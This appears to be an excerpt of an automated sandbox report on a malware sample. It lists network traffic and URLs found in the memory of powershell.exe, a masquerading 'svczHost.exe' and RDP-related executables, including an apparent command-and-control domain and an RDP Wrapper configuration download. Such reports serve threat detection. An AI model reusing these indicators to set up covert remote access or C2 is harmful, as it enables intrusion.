65 7b 6d 61 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>IIS 10.0 Detailed Error - 404.0 - Not Found</title> <style type="text/css"> <!-- body{margin:0;font-size:.7em;font-family:Verdana,Arial,Helvetica,sans-serif;} code{margin:0;color:#006600;font-size:1.1em;font-weight:bold;} .config_source code{font-size:.8em;color:#000000;} pre{ma
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateUpgrade: websocketContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/8.5cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9u8aj%2BbKfDbylF32hWTU%2FPMqx%2BeRY42r31sKdzkIGIX1sAwKJ7TovWPzW8qJ666%2BFNjJn%2Bc0BB1SDEs4s5ZpnxtEp1Nnm8IjfA1dbqduWnZuN7pE57vW0aDH8Xc%2BIUk0vq6dM%2F7bwmmr"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}CF-RAY: 8df4e14d2c04d5a8-CDGalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=16551&sent=733&recv=286&lost=0&retrans=0&sent_bytes=660886&recv_bytes=35824&delivery_rate=657615&cwnd=254&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"X-Powered-By: ARR/3.0Date: Fri, 08 Nov 2024 10:29:06 GMTContent-Length: 4852Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 31 30 2e 30 20 44 65 74 61 69 6c 65 64 20 45 72 72 6f 72 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 0a 63 6f 64 65 7b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 30 30 36 36 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 31 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 2e 63 6f 6e 66 69 67 5f 73 6f 75 72 63 65 20 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 65 6d 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0a 70 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>IIS 10.0 Detailed Error - 404.0 - Not Found</title> <style type="text/css"> <!-- body{margin:0;font-size:.7em;font-family:Verdana,Arial,Helvetica,sans-serif;} code{margin:0;color:#006600;font-size:1.1em;font-weight:bold;} .config_source code{font-size:.8em;color:#000000;} p
            Source: powershell.exe, 0000000B.00000002.1825159018.000001E7108AC000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000000.1428119617.00007FF7A305A000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://.css
            Source: powershell.exe, 0000000B.00000002.1825159018.000001E7108AC000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000000.1428119617.00007FF7A305A000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://.jpg
            Source: svchost.exe, 0000000F.00000002.2316146311.0000011DE971A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.co(
            Source: powershell.exe, 00000002.00000002.1267646874.000002352B828000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1125085308.0000029F9B651000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1893516259.000001E778242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2315892116.0000011DE9702000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.2318939714.000001F202F50000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000016.00000003.1799102550.000001F202F56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
            Source: powershell.exe, 00000002.00000002.1267646874.000002352B828000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1125085308.0000029F9B619000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1893516259.000001E7781F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2315892116.0000011DE9702000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.2318939714.000001F202F50000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000016.00000003.1799102550.000001F202F56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
            Source: powershell.exe, 00000007.00000002.1127692098.0000029F9BF74000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.m
            Source: powershell.exe, 00000007.00000002.1126215398.0000029F9BACC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.microsof
            Source: powershell.exe, 00000002.00000002.1271255401.000002352BC7D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.t.com/pki/crl/pr
            Source: svchost.exe, 0000000F.00000002.2315892116.0000011DE9702000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.ver)
            Source: svchost.exe, 0000000F.00000003.1202602228.0000011DF1810000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/update2/actxsdodvxbjblyjfcbcbc7srcwa_1.3.36.242/GoogleUpda
            Source: powershell.exe, 0000000B.00000002.1825159018.000001E7108AC000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000000.1428119617.00007FF7A305A000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://html4/loose.dtd
            Source: powershell.exe, 00000002.00000002.1260911564.000002352374D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1260911564.00000235238F0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1107556992.0000029F84AD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1122658183.0000029F935EE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
            Source: powershell.exe, 00000007.00000002.1107556992.0000029F84A47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1126043735.0000029F9B8F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
            Source: powershell.exe, 00000002.00000002.1205833353.00000235138FB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1107556992.0000029F837D9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.pngXz
            Source: powershell.exe, 00000007.00000002.1107556992.0000029F84A72000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1107556992.0000029F84A47000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.pngh
            Source: powershell.exe, 00000007.00000002.1107556992.0000029F837D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1444809039.000001E7003C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
            Source: svczHost.exe, svczHost.exe, 00000016.00000002.2320322903.00007FF7A2DCF000.00000004.00000001.01000000.0000000B.sdmp, myRdpService.exeString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid
            Source: powershell.exe, 0000000B.00000002.1825159018.000001E7108AC000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000000.1428119617.00007FF7A305A000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY
            Source: powershell.exe, 00000002.00000002.1205833353.00000235136D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1107556992.0000029F83571000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1825159018.000001E7108AC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1444809039.000001E700001000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000016.00000002.2320322903.00007FF7A2DCF000.00000004.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000000.1428119617.00007FF7A305A000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmp, myRdpService.exeString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
            Source: powershell.exe, 00000007.00000002.1107556992.0000029F837D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1444809039.000001E7003C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
            Source: svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmp, rdp.exe, 0000003A.00000000.2194786020.00000000008F1000.00000020.00000001.01000000.0000000E.sdmpString found in binary or memory: http://stascorp.com/load/1-1-0-62
            Source: svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://stascorp.comDVarFileInfo$
            Source: powershell.exe, 00000002.00000002.1205833353.000002351578C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1444809039.000001E70176A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://uyt1n8ded9fb380.com
            Source: svczHost.exe, 00000016.00000002.2311893794.000001B16F04C000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.2311893794.000001B16F0A8000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.2311893794.000001B16F045000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://uyt1n8ded9fb380.com:443/x
            Source: powershell.exe, 00000002.00000002.1271255401.000002352BC7D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://wsoft.com/pki/ceroCerAut_2010-06-
            Source: svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/
            Source: powershell.exe, 00000007.00000002.1107556992.0000029F84396000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
            Source: powershell.exe, 00000007.00000002.1107556992.0000029F84A47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1126043735.0000029F9B8F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
            Source: powershell.exe, 00000002.00000002.1205833353.00000235138FB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1107556992.0000029F837D9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlXz
            Source: powershell.exe, 00000007.00000002.1107556992.0000029F84A72000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1107556992.0000029F84A47000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlh
            Source: svchost.exe, 00000010.00000002.1418348030.000001A40CA13000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.bingmapsportal.com
            Source: myRdpService.exeString found in binary or memory: http://www.gstatic.com/generate_204
            Source: svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.gstatic.com/generate_204y
            Source: powershell.exe, 00000002.00000002.1267646874.000002352B828000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1125085308.0000029F9B651000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1893516259.000001E778242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2315507772.0000011DE96A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2315892116.0000011DE9702000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.2318939714.000001F202F50000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000016.00000003.1799102550.000001F202F56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.quovadis.bm0
            Source: powershell.exe, 0000000B.00000002.1825159018.000001E7108AC000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000016.00000002.2320322903.00007FF7A2DCF000.00000004.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000000.1428119617.00007FF7A305A000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmp, myRdpService.exeString found in binary or memory: https://aka.ms/GlobalizationInvariantMode
            Source: powershell.exe, 0000000B.00000002.1825159018.000001E7100AA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1825159018.000001E7108AC000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000016.00000002.2320322903.00007FF7A2DCF000.00000004.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000002.2312865308.000001B16FA48000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000000.1428119617.00007FF7A305A000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000002.2320633620.00007FF7A2F41000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000000.1428119617.00007FF7A2F41000.00000002.00000001.01000000.0000000B.sdmp, myRdpService.exeString found in binary or memory: https://aka.ms/dotnet-warnings/
            Source: svczHost.exe, myRdpService.exeString found in binary or memory: https://aka.ms/nativeaot-c
            Source: myRdpService.exeString found in binary or memory: https://aka.ms/nativeaot-compatibility
            Source: svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/nativeaot-compatibilityY
            Source: powershell.exe, 0000000B.00000002.1825159018.000001E7108AC000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000000.1428119617.00007FF7A305A000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/nativeaot-compatibilityy
            Source: powershell.exe, 00000002.00000002.1205833353.00000235136D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1107556992.0000029F83571000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1444809039.000001E700001000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
            Source: svchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
            Source: powershell.exe, 00000007.00000002.1122658183.0000029F935EE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
            Source: powershell.exe, 00000007.00000002.1122658183.0000029F935EE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
            Source: powershell.exe, 00000007.00000002.1122658183.0000029F935EE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
            Source: svchost.exe, 00000010.00000002.1418647286.000001A40CA57000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/
            Source: svchost.exe, 00000010.00000003.1416470241.000001A40CA5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.1418798466.000001A40CA82000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416730400.000001A40CA59000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1417172783.000001A40CA64000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416242221.000001A40CA63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
            Source: svchost.exe, 00000010.00000002.1418685986.000001A40CA5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416359165.000001A40CA5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
            Source: svchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
            Source: svchost.exe, 00000010.00000003.1416242221.000001A40CA63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
            Source: svchost.exe, 00000010.00000002.1418685986.000001A40CA5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416359165.000001A40CA5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Traffic/Incidents/
            Source: svchost.exe, 00000010.00000002.1418798466.000001A40CA82000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Schedules/
            Source: svchost.exe, 00000010.00000002.1418798466.000001A40CA82000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
            Source: svchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
            Source: svchost.exe, 00000010.00000003.1416730400.000001A40CA59000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1417172783.000001A40CA64000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416242221.000001A40CA63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.1418513346.000001A40CA40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
            Source: svchost.exe, 00000010.00000002.1418685986.000001A40CA5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416359165.000001A40CA5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
            Source: svchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
            Source: svchost.exe, 00000010.00000002.1418452115.000001A40CA2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.1418714311.000001A40CA66000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1417172783.000001A40CA64000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416242221.000001A40CA63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
            Source: svchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
            Source: svchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
            Source: svchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
            Source: svchost.exe, 00000010.00000003.1417172783.000001A40CA64000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416242221.000001A40CA63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.1418513346.000001A40CA40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
            Source: svchost.exe, 00000010.00000002.1418452115.000001A40CA2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.1418714311.000001A40CA66000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1417172783.000001A40CA64000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416242221.000001A40CA63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
            Source: svchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
            Source: svchost.exe, 00000010.00000002.1418685986.000001A40CA5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416359165.000001A40CA5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
            Source: svchost.exe, 00000010.00000003.1416897804.000001A40CA48000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.1418685986.000001A40CA5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416359165.000001A40CA5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
            Source: svchost.exe, 00000010.00000003.1416242221.000001A40CA63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
            Source: svchost.exe, 00000010.00000002.1418685986.000001A40CA5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416359165.000001A40CA5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
            Source: svchost.exe, 00000010.00000003.1416470241.000001A40CA5B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=
            Source: svchost.exe, 00000010.00000003.1416242221.000001A40CA63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.t
            Source: svchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
            Source: svchost.exe, 00000010.00000002.1418452115.000001A40CA2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.1418714311.000001A40CA66000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1417172783.000001A40CA64000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416242221.000001A40CA63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
            Source: svchost.exe, 0000000F.00000003.1202602228.0000011DF1839000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.1202602228.0000011DF1810000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
            Source: svczHost.exe, 00000016.00000002.2312865308.000001B16FA48000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/MartinKuschnik/WmiLight
            Source: powershell.exe, 00000007.00000002.1107556992.0000029F84A47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1126043735.0000029F9B8F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
            Source: powershell.exe, 00000002.00000002.1205833353.00000235138FB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1107556992.0000029F837D9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/PesterXz
            Source: powershell.exe, 00000007.00000002.1107556992.0000029F84A72000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1107556992.0000029F84A47000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pesterh
            Source: powershell.exe, 0000000B.00000002.1825159018.000001E7100AA000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.2312865308.000001B16FA48000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.2320633620.00007FF7A2F41000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000000.1428119617.00007FF7A2F41000.00000002.00000001.01000000.0000000B.sdmpString found in binary or memory: https://github.com/dotnet/runtime
            Source: powershell.exe, 00000007.00000002.1107556992.0000029F84396000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.1469095912.000001DF01109000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
            Source: powershell.exe, 00000002.00000002.1260911564.000002352374D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1107556992.0000029F84AD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1122658183.0000029F935EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.1652547879.000001DF1090E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
            Source: powershell.exe, 00000002.00000002.1267646874.000002352B828000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1125085308.0000029F9B651000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1893516259.000001E778242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2315507772.0000011DE96A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2315892116.0000011DE9702000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.2318939714.000001F202F50000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000016.00000003.1799102550.000001F202F56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ocsp.quovadisoffshore.com0
            Source: powershell.exe, 00000007.00000002.1107556992.0000029F84396000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneget.org
            Source: svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmp, rdp.exe, 0000003A.00000000.2194786020.00000000008F1000.00000020.00000001.01000000.0000000E.sdmpString found in binary or memory: https://raw.githubusercontent.com/sebaxakerhtc/rdpwrap.ini/master/rdpwrap.iniU
            Source: svchost.exe, 00000010.00000003.1416945374.000001A40CA41000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
            Source: svchost.exe, 00000010.00000003.1417225414.000001A40CA30000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.1418539502.000001A40CA42000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
